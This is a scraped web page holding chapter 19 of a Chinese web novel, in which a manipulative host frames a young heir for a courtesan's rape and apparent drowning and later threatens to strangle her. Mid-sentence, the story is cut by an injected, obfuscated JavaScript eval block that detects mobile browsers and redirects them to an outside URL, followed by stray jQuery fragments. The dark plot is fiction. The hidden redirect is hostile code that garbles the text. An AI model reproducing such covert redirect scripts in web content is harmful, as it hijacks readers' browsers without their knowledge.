20.第十九章
作品:《甘为笑柄那几年》 乌云遮月,今夜的苏府注定不安泰。
金玉骄被妈妈死死揪着衣襟,双目茫然的睁大,嘴唇嗫嚅着,分明是想反驳,却又不知从何说起。
妈妈一口一个“罪该万死”、“先奸后杀”,狰狞的面容在金玉骄眼前留下道道扭曲的残影,可从她的眼里,金玉骄看不到丁点泪光。
他真的……对绿袖做了那种事情吗?
金玉骄口鼻仿佛被厚厚的油纸盖住,连带着胸口也那般狭隘。
身后,苏文治为首的众人都从惊讶中脱离,彼此相熟的几个人对了个眼神,都明白此刻就是落井下石的最好机会,杨巍更是当仁不让,首当其冲的站出来。
杨巍横眉冷对,摆出一副凌然正气的模样,怒喝道:“真是百闻不如一见,都说金家出了个混世魔王,我当只是谣传,没想到当真做出那欺男霸女的龌龊事件!!”
杨巍这番话可谓是开了个好头,有他挺身而出,其余人也不甘落后,仗着人多势众,七嘴八舌的打抱不平。虽然他们也不知那绿袖黄袖红袖是何许人也,但白送来的靶子,不打白不打。
“我当是我们小门小户的不受待见,原是金家少爷本就爱仗势欺人。”
“连青楼女子都不放过,当真有辱门楣。”
“真是可怜那姑娘,居然在这样冷的天,含冤投河……造孽啊造孽。”
金玉骄耳边阵阵轰鸣,那些刺耳的话听了个七零八落,最后落进心里的,都是那句绿袖投河。
昨夜他喝得烂醉,醒来什么都不记得,可他是被绿袖扶走的,若是他当真……
不知何时,苏文治已经站到人群最后,妈妈目光转了一圈,才与他对视。
妈妈愤然将金玉骄推到在地,啐道:“你有胆子做没胆子认,你算哪门子男人,我呸你个草包窝囊废!”
金玉骄本就少不更事,更逞被猛然泼了一身污水,双目空洞不已,连一句话都说不完,就被妈妈高声打断,现下整个人跌坐在地面,满心满身都如坠冰窟,嘴唇颤抖着好半晌,才问出完整的话。
金玉骄抬起头,惊惧担忧的问:“绿袖现在在哪里?”
妈妈愣了愣神,苏文治穿过众人,俯身去扶金玉骄。
金玉骄面无血色,苏文治刚摸到他的手背,就觉得冷的吓人,于是低声说:“玉郎莫慌,还有我在。”
苏文治一出面,所有乱七八糟的声音仿佛约好了,都停了下来。
金玉骄瞧了他一眼,可是那眼神虚得像盲了,苏文治用力拍了拍他的后背,俨然一副泰山崩于前而色不变的沉着模样。
苏文治一脸凝重,低声警告:“这里是苏府,玉郎是我苏文治的朋友,你若是敢胡言乱语,我便让人剜了你的舌头。”
方才张牙舞爪的妈妈顿时老实下来,规规矩矩的站定,但说起话来还是恨不得嚷嚷到全天下都知道。
妈妈说:“苏庄主,哪里敢在您面前造次,可此事千真万确,是我女儿绿袖亲口向我哭诉,这金玉骄昨晚如禽兽一般对她,又是我亲眼看着她投河。他在您府上逍遥快活,可我女儿的孤魂此刻还在河里飘着,不知所踪……”
说罢,还用衣角擦了擦眼泪,哭哭啼啼的模样,好不委屈。
金玉骄靠在苏文治身边,宛若丢了魂一般,妈妈作势又要闹,苏文治皱眉说:“此时不宜张扬,你随我来。”又转身同宾客们致歉,金玉骄六神无主时,苏文治体面大方,遣散所有人,又迅速处置好了妈妈。
见金玉骄惊魂未定,苏文治轻声说:“别担心,她无疑就是上门要些钱,区区一个卖身的青楼女子,她不好生陪你,还自寻短见,实在是愚蠢。”
话没说话,怀里的金玉骄怎么都不走了,仔细一看,却见金玉骄眼里透着浓浓的倔强和愤怒。
金玉骄一把把苏文治推开,愤然道:“你在胡说什么?!”
苏文治面色一僵,又笑了笑,“玉郎,眼下别与我发脾气,我们先把你的事情解决了,好吗?”
他伸手,想像以前那样亲昵的拍拍金玉骄的肩膀,但金玉骄身子一闪,冷冷的看着他。
“你别碰我,我要去见绿袖。”金玉骄握紧拳头,一字一句道:“活要见人,死要见尸。”
苏文治眉头紧锁,“她已经跳了河,你到哪里去找?”
见金玉骄又要生气,他双手捧着金玉骄的脸,像哄孩子那样,“玉郎,我知道你害怕,可是我已经和你说了,放下心来,一切有我。再说了,你年轻气盛,犯点错也没什么,我定会帮你料理好一切,不让他人落下口舌。”
金玉骄抿了抿唇,苏文治还以为他要放弃,没成想,金玉骄还是定定的站着,苏文治带了好几次,都没能把他带动一步。
苏文治冷下声音,“玉郎,你怎么这么不懂事?”
苏文治一向对金玉骄和颜悦色,猛地变脸,金玉骄也变了变脸色。
他从刚开始,就一直腿软,若不是靠着那丁点骨气,金玉骄怕是早早就坐在地上,半天都爬不起来。
但是一想到绿袖那么爽朗的笑容,金玉骄就绷着一口气,转身说:“那我自己去。”
苏文治拉住他,“你要去哪?现在夜深人静,你去河边岂不危险?”
金玉骄一狠心,冷冷看着他,“你要么现在帮我去找,要么就等着我掉进水里,我要是有个三长两短,苏家就是与金家结仇,你看着办吧。”
苏文治从未见过这样的金玉骄,出乎意料的流露出些许惊讶的神色,而后又变化了表情,笑着说:“你这是什么话,我是想说,我找人去河边捞人就是了,你在府上等消息。”
“不,我要自己去,我亲眼看到他们在捞,我要亲眼看到绿袖。”
金玉骄握紧拳头,他是这般清晰的意识到,自己真如他人所言,是个遇事就慌的草包。但他努力提着一口气,让自己不要在苏文治面前败下阵来。
即便他心虚不已,即便他两脚发软,即便他已经怕到不敢静下心细想,也逼着自己多坚持一会儿。
就在他快要放弃之际,苏文治叹了口气,妥协道:“好吧,好吧,玉郎当真是长大了。”
-
上双庄只有一条石川河,苏文治带着苏府的人在下游彻夜打捞,金玉骄死守在岸边,嘴唇冻得乌青,也不愿意回府。
苏文治问:“玉郎对这位绿袖莫不是?”
金玉骄攥紧了冻僵的手,眼神澄澈:“她帮过我,我不能让她这样稀里糊涂的走了。”
苏文治若有所思,问:“可你就没有想过,倘若她还活着……”
这个问题,金玉骄也想过,起初他想逃避,但是事到如今,他也想明白了。
金玉骄说:“倘若她还活着,我就帮她赎身,带她回金家。”
这个答案似乎不在苏文治的意料内,他那么巧舌如簧的人,也足足想了几秒,才道:“玉郎,你真是让我刮目相看。”
金玉骄才不管他如何想。别人的看法,他不想管,也管不了。
夜晚的河水那么冷,他担心绿袖冻坏了,更担心绿袖根本不在河里……
他心里想,若是李雪照在的话,兴许事情会不一样。可李雪照那种人,又会怎么帮他呢?明明是个冷心冷情的人,可偏偏金玉骄觉得李雪照与苏文治不同,苏文治嘴上说再多,金玉骄总不敢信他,可哪怕李雪照打他、骂他,他还是打心眼觉得李雪照可靠。
不知何时,苏文治从他身边离开了,金玉骄定定的看着河面,忽然看见上游飘来一抹青色,似乎还在随着水流上下扑腾着。
金玉骄当即跳了起来,“我看到了!!”
众人连忙去捞,绿袖泡在水里,金玉骄也跳上了船,拼命向绿袖伸手,但有一人先他一步,直接下水将绿袖带上了岸。
苏文治全身上下都被河水打湿,似乎在和绿袖低声说些什么,金玉骄手忙脚乱的扑过去,就听苏文治正在逼问绿袖:“你如实交代,玉郎是不是被你诱惑?!”
绿袖面色青黑、嘴唇乌紫、一头长发裹在身上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15098545|162480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颤抖着瘦弱的身体,衬得她犹如死不瞑目的女鬼。
金玉骄叫她的名字,可她也浑然不觉。
“绿袖,绿袖,你还好吗?!”
绿袖这副模样,定然是说不出话来,可金玉骄也浑然不觉,一个劲的想让绿袖说点什么。他心里太慌了,以至于什么都想不到,什么也顾不得,眼眸颤抖着希望绿袖给出点自己想要的反馈,可是绿袖一直直勾勾的看着前方,半个字也不说。
金玉骄心都快跳出来,他害怕自己真得在醉后做了对不起她的事情,也害怕面对今后的一切。可若是绿袖还活着,那终究事情还没到最坏的地步。
苏文治发觉金玉骄的恍惚,安抚说:“玉郎,你已经见到绿袖了,还是快些回去吧,剩下的事情就交给我。”
金玉骄上前半步,打断道:“不,我不走,我要带绿袖回金陵。”
苏文治失声,“你疯了吗?!你可知这样做,是要把永远的骂名被背在身上了!!”
苏文治当真气极了,和金玉骄耳语道:“方才我愿意陪你来,是想让你安下心来,只要她死了,你大可以说是她做了攀高枝的美梦,趁你醉酒引诱你,可若你把她带在身边,今后别人如何想你?”
他的手扼住绿袖的脖子,眼神冰凉,“我们救她已经仁至义尽,现在杀了她,就能换你一世清白。”
金玉骄颤抖着声音,“我说了,我要带她走的。”
如同死尸般的绿袖动了动眼睛,金玉骄更是笃定,想要拉住绿袖的手,可没成想,绿袖的手中握着一把匕首,眨眼间就已经对准她的喉咙。
金玉骄都不知从何处来的能力,在绿袖自刎前拉住了她的手。
“绿袖,我……”金玉骄已经哽咽,“你放心,我一人做事一人当,你莫要寻短见。苏文治,绿袖有任何差池,我都会第一个找你算账。”
苏文治面色凝重,可事已至此,不得不点头允诺。
这一晚,惊心动魄。
绿袖昏迷在床,金玉骄寸步不离,双眼熬得通红。
苏文治冷冷看着他,转身离开了客房。房外,早有人在等候。
苏府管家兼幕僚姜骋疾步上前,低声道:“此事过于激进,绿袖死或不死,金玉骄都将怀疑上您,如此,苏家与金家的关系非但没有亲近,反而会生出嫌隙……庄主可有想到对策?”
姜骋起初便劝过苏文治,不仅是因为要牺牲一个无辜女子,更是为苏文治如此谋算感到心惊肉跳。
苏文治心急与金家交好,设计让以绿袖一事,让金玉骄躲在他身后,借此获得金玉骄的信任。
可绿袖这女子不肯低头,宁可选择死,也不愿意亲口只认金玉骄,姜骋只好将她关押在地牢,这才找了妈妈演了出好戏。
按照姜骋所料,金玉骄要么当场否认,要么想通了再动杀心,但他也怕再有闪失,那把匕首就是给绿袖准备的,必然要当着金玉骄的面一死了之。
可是千算万算,没想到金玉骄居然当真对一个青楼女子起了仁慈之心。
如今绿袖昏迷,苏文治稳得住金玉骄一时,却稳不住金玉骄一时。
若绿袖醒来,让金玉骄得知此事是金玉骄从中作梗,损失最大的还是苏文治和苏文治背后的苏家。
一想到过去心血都要付诸东流,姜骋心急如焚,苏文治却无动于衷。
苏文治淡淡抬起下巴,拂袖说:“绿袖死或不死,我的目的都已经达到。”
姜骋怔住,“为何?”
“是非成败,不过是给玉郎挖个坑,无论他主动或被动跳进来,我都准备好接住他了。”
金玉骄若是让他杀了绿袖,那他们就是一根绳上的蚂蚱。金玉骄若是留下绿袖,那他就坐看金玉骄名誉尽毁。
要么绑住他,要么毁了他。
怎么算,都是成了。
苏文治看了眼月亮,一片乌云横在半空,周遭幽幽不见月光,他说:“明后都将是好天气,把府上好好收拾收拾,我们要迎接新客。”